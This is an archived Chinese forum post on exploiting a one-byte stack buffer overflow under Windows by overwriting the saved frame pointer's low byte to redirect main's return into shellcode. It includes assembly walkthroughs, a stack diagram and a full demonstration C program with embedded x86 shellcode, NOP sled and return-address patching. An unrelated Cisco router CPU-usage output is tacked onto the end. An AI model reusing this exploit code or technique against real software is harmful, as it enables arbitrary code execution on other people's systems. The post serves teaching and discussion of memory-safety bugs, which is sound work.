发信人: 3509(〖~@~〗)
整理人: starseacn(2002-01-17 16:23:44), 站内信件
|
windows下越界一个字节也能导致溢出攻击
【Visual C++】:windows下越界一个字节也能导致溢出攻击windows下越界一个字节也能导致溢出攻击
如下test()函数有问题,但我们不能覆盖ret 只能覆盖ebp低字节,我们又能作什么呢?? 欢迎讨论:mail to 3509
char buff[1024];
int i;
void test( )
{
char buffer[128];
/* . . . . . . . . . . . . . . . */
for(i=0; i<129 ; buffer[i]= buff[i++]);
/* . . . . . . . . .. . . . . . . */
}
void main()
{
/* . . .. . . ....*/
test();
/* . . . . . . .. . */
}
我们看看main 和 test调用时作了什么:
;test
;{
push ebp
mov ebp,esp
sub esp,128 ;为buffer预留空间
. . . ..
mov esp,ebp
pop ebp
ret
;}
在main中也如上:
看看 我们改写了ebp的低位后ebp将在main返回前传给esp
如果ebp能指向shellcode地址的低位那么main函数返回时将读入我们的地址作返回
在main返回前
esp = ebp
pop 地址
返回pop出的 地址
|shellcode的地址| ---->|
ebp ---->| ?? | |
| | |
| shellcode | <------
那么在main函数返回时我们的shellcode将被执行. 欢迎讨论:mail to 3509
现在看看test中溢出覆盖ebp低位时如何,ebp也指向栈,当test中和main中栈内偏移不超过 255 字节时
高3位相同,仅修改低位就能指向buffer
比如buffer地址为 0x00463000
那么覆盖后如下
----------------------------------------------------------->
ebp
|ret | 0x00463000 +128 - 8 | 0x00463000| ?? | shellcode |
len: 4 4 4 4 120
main 返回时
mov esp,ebp ; ^
|
esp
pop ebp; ^
|
esp
ret 0; ok 我们的机器码被执行了!!!!
演示程序:
/*
Name : Ex_byte.c
Tested: windows95
by cloud 2001-6-5
*/
#include <windows.h>
#include <stdio.h>
char shellcode[108]=
{
0xEB ,0x3d ,0x5D ,0x33 ,0xC0 ,0x66 ,0xb8 ,0xe8 ,0x03 ,0x2b ,0xe0 ,
0x33 ,0xDB ,0xB3 ,0x0C ,0x4b ,0x4b ,
0x33 ,0xC0 ,0x88 ,0x04 ,0x2b ,0x88 ,0x45 ,0x12 ,0x88 ,0x45 ,0x24 ,0x68,
0xF3 ,0x75 ,0xF7 ,0xBF ,0x55 ,0xFF ,0x54 ,0x24 ,0x04 ,0x33 ,0xDB ,0x53,
0x8B ,0xC5 ,0x83 ,0xC0 ,0x0B ,0x50 ,0x83 ,0xC0 ,0x08 ,0x50 ,0x53 ,0x68,
0x91 ,0xB1 ,0xF8 ,0xBF ,0x68 ,0xD9 ,0x38 ,0xF6 ,0xBF ,0xC3 ,0xE8 ,0xbe,
0xFF ,0xFF ,0xFF,
'u','s','e','r','3','2','.','d','l','l','0',
'M','E','S','S','A','G','E','0',
'F','r','o','m',20,'B','i','n','n','a','r',20,'C','o','d','e','.','0','N','N','N'
};
char buff[500];
int i;
unsigned long * lp;
unsigned char * cp;
unsigned long addr;
//unsigned long * p;
DWORD getesp()
{
__asm mov eax,esp
__asm add eax,20
}
void test()
{
char buffer[256];
addr = getesp();
addr += 100;
cp = (char *)buffer;
for(i=0;i<252 - sizeof(shellcode) ;i++,cp ++ )
{
*cp = 0x90;
}
for(i=0;i<sizeof(shellcode);i++,cp++)
{
*cp = shellcode[i];
}
lp = (unsigned long *)cp;
* lp = addr;
lp ++;
cp = (char *)lp;
*cp -=20;
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
test();
}
有什么不同看法可以欢迎讨论:mail to 3509,不足之处望斧正。
---- r-Wu#show processes cpu
CPU utilization for five seconds: 100%/100%; one minute: 100%; five minutes: 100%
PID Runtime(ms) Invoked uSecs 5Sec 1Min 5Min TTY Process
1 112 38427 2 0.00% 0.00% 0.00% 0 Load Meter
2 320 123 2601 0.16% 0.35% 0.09% 130 Virtual Exec
3 0 1602 0 0.00% 0.00% 0.00% 0 DHCPD Timer
4 57296 19523 2934 0.00% 0.02% 0.00% 0 Check heaps
5 0 1 0 0.00% 0.00% 0.00% 0 Chunk Manager
6 36 66 545 0.00% 0.00% 0.00% 0 Pool Manager
7 0 2 0 0.00% 0.00% 0.00% 0 Timers
8 0 2 0 0.00% 0.00% 0.00% 0 Serial Backgroun
9 96 38400 2 0.00% 0.00% 0.00% 0 ALARM_TRIGGER_SC
10 0 1 0 0.00% 0.00% 0.00% 0 OIR Handler
|
|